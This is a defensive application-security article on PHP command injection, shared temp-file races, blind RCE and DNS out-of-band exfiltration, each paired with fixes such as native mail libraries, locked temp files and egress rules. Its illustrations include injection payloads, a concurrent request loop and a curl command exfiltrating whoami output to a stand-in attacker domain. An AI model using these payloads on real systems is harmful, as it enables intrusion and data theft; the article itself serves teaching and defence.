How Attackers Chain Command Injection, Race Conditions, and Blind RCE — And How You Stop Every Step

Application Security • Part 1
12 min read
security command injection race conditions RCE vulnerable code patterns PHP

A developer tests their mailer. They send a few requests. Nothing breaks. They ship it.

Six months later, their application is compromised.

The flaw wasn’t obvious because it only surfaces under load—a race condition at 50 concurrent requests that never triggers in manual testing. The vulnerability was present from day one. It just waited for traffic, or for an attacker, to reveal it.

This is the story of how that happens. And more importantly: how to prevent it.


The Attack Chain at a Glance

Real-world exploitation is rarely a single flaw. It is a chain. Each link in the chain is a separate developer mistake. Fix any one link and the chain breaks. Fix all of them and the vulnerability cannot exist.

Here are the five links:

Attack Chain — Five Links

1. User Input
passed to shell command
Injection surface
2. Shared Temp File
no locking
Collision point
3. Race Condition
concurrency exploit
Probabilistic → Deterministic
4. Blind Output
no visible response
Commands execute silently
5. OOB Exfiltration
DNS/HTTP leak
Attacker retrieves output

We will walk through each link, explain why it exists, and show you the code that eliminates it.


What the attacker sees

A password recovery endpoint that accepts a mailer parameter and passes it, unsanitised, to a system shell call:

// ❌ Vulnerable
$mailer = $_POST['mailer'];
shell_exec("sendmail -t $mailer");

The attacker supplies:

mailer=admin`whoami > /tmp/test.txt`

The shell interprets the backticks as a sub-command. whoami executes. Its output is written to /tmp/test.txt. The attacker now has arbitrary code execution.

Why developers write this

The blame is not always on the developer. Consider:

  • sendmail and mail are the first results in many tutorials
  • shell_exec() feels like the “direct” way to invoke external tools
  • The developer never imagined the input would contain shell metacharacters
  • No code review process caught it (this is critical: shell commands need explicit, mandatory review)

The Fix

Never call a shell for tasks that have native library equivalents. Sending email is the canonical example.

// ✅ Safe — PHPMailer handles everything natively
use PHPMailer\PHPMailer\PHPMailer;

$mailer = filter_input(INPUT_POST, 'mailer', FILTER_VALIDATE_EMAIL);
if (!$mailer) {
    http_response_code(400);
    exit('Invalid email address');
}

$mail = new PHPMailer();
$mail->addAddress($mailer); // treated as data, never as a command
$mail->Subject = 'Password Reset';
$mail->Body    = 'Your reset link is: ...';
$mail->send();

Every major language has an equivalent:

LanguageSafe Library
PHPPHPMailer, Symfony Mailer
Pythonsmtplib + email.mime, or sendgrid-python
Node.jsnodemailer
Rubymail gem, ActionMailer
Gonet/smtp
Javajavax.mail, Spring Mail

If You Must Call an External Process

If you genuinely need to invoke an external tool (and 99% of the time you don’t), pass arguments as an array — never as a shell string:

// ❌ Shell string — shell tokenises it, metacharacters execute
exec("sendmail -t $mailer");

// ✅ Array form — no shell involved, no injection surface
proc_open(
    ['/usr/sbin/sendmail', '-t', $mailer],
    $descriptorspec,
    $pipes
);

The array form bypasses the shell entirely. No tokenization. No metacharacter interpretation. Arguments are passed directly to the executable.

Validation as a Defensive Layer

Even if the above is followed, validate inputs against the narrowest possible allowlist at the point of entry:

$mailer = filter_input(INPUT_POST, 'mailer', FILTER_VALIDATE_EMAIL);
if (!$mailer) { 
    http_response_code(400); 
    exit('Invalid email'); 
}

An email address is local@domain.tld. Anything that is not that shape should never reach your business logic.


What the attacker sees

Some developers try to avoid direct injection by writing the input to a file first, then passing the filename to the command. This feels safer. It is not.

// ❌ Vulnerable — shared path, no lock
file_put_contents('/tmp/email.tmp', $mailer);
shell_exec("sendmail -t $(cat /tmp/email.tmp)");

Two fatal problems immediately emerge:

  1. Every request writes to the same file. Any concurrent request can overwrite what another just wrote.
  2. The $(cat /tmp/email.tmp) construct is still a shell string — injection is still possible through the file contents.

You’ve moved the injection point, not eliminated it.

Why This Pattern Exists

Developers adopting this pattern often believe:

  • “Escaping won’t work” (false—but it’s also not the right fix)
  • “Writing to a file is safer than passing on the command line” (partially true, but only if implemented correctly)
  • “A temporary file buys us validation time” (no, it buys you a TOCTOU vulnerability)

The Fix

Unique file per request, exclusive lock, clean up after yourself:

// ✅ Safe temp file handling
$tmp = tempnam('/tmp', 'mail_');   // e.g. /tmp/mail_a3f9c2 — unique per call
$fh  = fopen($tmp, 'w');
if (!$fh) die('Cannot open temp file');

flock($fh, LOCK_EX);              // exclusive lock — no concurrent writes
if (!fwrite($fh, $validated_data)) die('Write failed');
flock($fh, LOCK_UN);
fclose($fh);

// ... use $tmp safely ...

unlink($tmp);                     // always clean up

Why each piece matters:

  • tempnam() guarantees uniqueness by generating a random filename with a unique inode
  • flock(LOCK_EX) guarantees atomic writes—no other process reads a partially-written file
  • unlink() ensures the file does not persist as a residual artefact that could be exploited later

Even better: use language features designed for temp files:

# Python — context manager handles cleanup automatically
import tempfile

with tempfile.NamedTemporaryFile(mode='w', delete=True) as f:
    f.write(validated_data)
    f.flush()
    # Use f.name here
    # Automatically deleted when exiting the context

What the attacker sees

With a shared temp file and no locking, a single request rarely causes a collision. But the attacker does not send a single request.

// 50 simultaneous requests — each one races to overwrite the shared file
for (let i = 0; i < 50; i++) {
    fetch('https://target.example.com/password_retrieve2.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'mailer=admin`whoami > /tmp/pwned.txt`'
    });
}

The results are deterministic. At sequential speeds the bug has roughly a 6% collision rate. Under 50 concurrent requests the collision rate approaches 100%. The vulnerability becomes guaranteed.

This is why static analysis and single-request dynamic scanners miss it entirely. They test at sequential speeds.

Why This Is Especially Dangerous

A vulnerability that is probabilistic under normal use and deterministic under attack is one of the hardest classes to catch in testing.

Most QA and penetration testing sends requests one at a time. A developer manually testing sends maybe 3–5 requests. The race condition only surfaces under load. By the time it is discovered it may already have been exploited.

Timeline:

  1. Code ships with race condition (untested at scale)
  2. Traffic is light; bug never triggers
  3. Marketing campaign drives traffic spike
  4. Attacker sees 50+ concurrent requests succeed
  5. System is compromised

The Fix — Three Layers

Layer 1: Eliminate Shared Mutable State

If each request uses a unique temp file (as shown above), there is nothing to race over:

// Each request gets its own file — no collision possible
$tmp = tempnam('/tmp', 'mail_' . uniqid());
// ... use it ...
unlink($tmp);

Layer 2: Make Operations Atomic

Use database transactions, file locks, or language-level mutexes wherever multiple requests can touch the same resource:

// Database transaction — ensures atomicity
$db->beginTransaction();
$result = $db->query("SELECT * FROM config WHERE key = ? FOR UPDATE", [$key]);
$db->query("UPDATE config SET value = ? WHERE key = ?", [$newValue, $key]);
$db->commit();

Layer 3: Test Under Concurrency

Add concurrent load tests to your CI pipeline for any endpoint that touches shared state:

# k6 — concurrent load test targeting a single endpoint
k6 run --vus 50 --duration 10s script.js
// script.js
import http from 'k6/http';

export default function () {
    http.post('https://staging.example.com/password_retrieve2.php', {
        mailer: 'test@example.com',
    });
}

If the endpoint behaves differently under 50 concurrent users than under 1, you have a race condition somewhere. This must be a gating criterion for production deployment.


What the attacker sees

Many injection points do not return command output in the HTTP response. The command runs on the server; nothing comes back. This is called blind RCE.

The attacker detects it via timing:

# If the response takes ~5 seconds, sleep 5 executed — RCE confirmed
curl -X POST https://target.example.com/password_retrieve2.php \
  --data-urlencode 'mailer=`sleep 5`'

A 5-second delay in the response confirms execution even though no output is visible. The attacker has now confirmed arbitrary code execution.

What Blind RCE Does NOT Mean

Blind output does not mean limited impact. The attacker can still:

  • Write files anywhere the process has write access
  • Read files (exfiltrated via OOB — see next section)
  • Modify application configuration
  • Install persistence mechanisms (cron jobs, backdoors)
  • Pivot to other internal services
  • Steal database credentials from environment variables
  • Enumerate the filesystem to find other targets

The lack of inline output is an inconvenience to the attacker, not a protection.

The Fix

Blind RCE is not a separate vulnerability. It is the same command injection with a less obvious confirmation path. All of the fixes in Links 1 and 2 apply directly.

There is no “blind RCE mitigation” distinct from “don’t allow command injection.”

What blind RCE teaches you as a developer is this:

You cannot rely on observing bad output to know your application is compromised. Secure the input. Do not rely on the absence of visible damage as evidence of safety.


What the attacker sees

When the HTTP response is blind, the attacker routes command output through a separate channel — typically DNS queries or HTTP callbacks to an attacker-controlled server.

# DNS exfiltration — encode command output into a DNS lookup
# The attacker watches their DNS server for incoming queries
curl -X POST https://target.example.com/password_retrieve2.php \
  --data-urlencode 'mailer=`nslookup $(whoami).attacker-controlled.com`'

The server running whoami (e.g., returning www-data) sends a DNS query for www-data.attacker-controlled.com. The attacker reads the subdomain label and recovers the output.

Tools like Burp Collaborator and interactsh make this trivially easy:

  • They provision a subdomain
  • They wait for DNS/HTTP callbacks
  • They display what data arrived
  • They require zero setup on the attacker’s part

A skilled attacker can exfiltrate megabytes of data via DNS queries alone.

Why This Matters for Your Architecture

OOB exfiltration requires the server to make outbound network connections — DNS queries, HTTP requests, or TCP connections to the attacker. If your server cannot reach arbitrary external hosts, OOB exfiltration is severely limited.

This is one of the few layers where network architecture matters as much as code security.

The Fix — Defence in Depth at the Network Layer

Restrict outbound connections from your application servers:

# Example: iptables rule allowing only necessary outbound traffic
# Allow outbound SMTP to your mail relay
iptables -A OUTPUT -p tcp --dport 587 -d mail-relay.internal -j ACCEPT

# Allow outbound HTTPS to known API endpoints
iptables -A OUTPUT -p tcp --dport 443 -d api.stripe.com -j ACCEPT

# Allow DNS queries only to internal resolver
iptables -A OUTPUT -p udp --dport 53 -d 10.0.0.1 -j ACCEPT

# Drop all other outbound from www-data
iptables -A OUTPUT -m owner --uid-owner www-data -j DROP

In container and cloud environments, use network policies:

# Kubernetes NetworkPolicy — deny all egress from web pods by default
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-external-egress
spec:
  podSelector:
    matchLabels:
      role: web
  policyTypes:
    - Egress
  egress:
    # Allow traffic only to database and cache (both internal)
    - to:
        - podSelector:
            matchLabels:
              tier: database
      ports:
        - protocol: TCP
          port: 5432
    - to:
        - podSelector:
            matchLabels:
              tier: cache
      ports:
        - protocol: TCP
          port: 6379

What This Does and Doesn’t Do

What egress restrictions DO:

  • Prevent OOB exfiltration via DNS and HTTP
  • Force attackers to exfiltrate via existing outbound channels (mail, legitimate APIs)
  • Make exfiltration much slower and more detectable

What egress restrictions DON’T do:

  • Prevent command injection itself
  • Prevent local file reads/writes
  • Prevent lateral movement within your network

This is a damage-limitation layer, not a primary defence. It prevents the easiest exfiltration path if command injection already exists. The primary fix is still: don’t allow command injection in the first place.


The Full Fix Checklist

VulnerabilityRoot CauseFix
Command injectionUser input in shell stringUse native libraries; array args only
Temp file collisionShared path, no lockingtempnam() + flock() + unlink()
Race conditionNo atomic operations under concurrencyUnique state per request; concurrent load tests in CI
Blind RCESame as command injectionSame fix; do not rely on visible output as proof of safety
OOB exfiltrationUnrestricted outbound networkEgress firewall rules; deny-by-default network policies

Why Testing Failed (And How to Fix It)

The Testing Gap

Static analysis caught: 0 issues Manual pen testing found: 0 issues
Attacker found it: 100% exploit success rate

Why? The vulnerability is probabilistic under normal load and deterministic under attack.

Your QA process:

  1. Sends 5 requests sequentially
  2. Waits for each response
  3. Checks the result
  4. Declares it safe

The attacker’s process:

  1. Sends 50 requests in parallel
  2. Watches for any that succeed
  3. Exploits those that do
  4. Declares it vulnerable

The bug was there all along. You just didn’t test the right way.

How to Close the Gap

#!/bin/bash
# Add this to your CI/CD pipeline — gates production deployment

echo "Running concurrent load test..."
k6 run --vus 50 --duration 30s --rps 100 \
  --summary-trend-stats="avg,p(95),p(99),max" \
  load-tests/critical-endpoints.js

if [ $? -ne 0 ]; then
    echo "Load test failed — possible race condition"
    exit 1
fi

echo "Passed — safe to deploy"

Add this to every endpoint that:

  • Touches shared files
  • Modifies global state
  • Handles user input
  • Performs filesystem operations

The Principle: Secure by Construction

Write code that is secure by construction. Not code that happens not to have failed yet.

Each flaw in the attack chain was introduced at a moment when a developer could have chosen differently:

At Link 1: “I could use a native mail library instead of shell_exec” At Link 2: “I could use tempnam() instead of a fixed path” At Link 3: “I could add concurrent load tests to my CI” At Link 4: “I could treat blind execution as a full compromise, not a partial win” At Link 5: “I could restrict outbound traffic at the firewall”

Every choice compounds. The attacker only needs all five to fail. You only need to succeed at one to break the chain.


Summary

Every step of this attack chain was enabled by a single category of mistake:

Treating user input as trusted, executable content rather than as untrusted data.

The fixes are not exotic:

  • Native libraries instead of shell calls
  • Unique, locked, cleaned-up temp files instead of shared state
  • Concurrent testing as a standard CI gate, not an afterthought
  • Egress restrictions as a network-layer backstop

None of these require a security expert. They require discipline applied at the point where the code is first written — which is always cheaper than finding the vulnerability after deployment.

The difference between a system that is secure and one that merely hasn’t been attacked yet is these five choices.

Make them.


Tags: command injection · race conditions · blind RCE · OOB exfiltration · secure coding · PHP · application security · TOCTOU · network security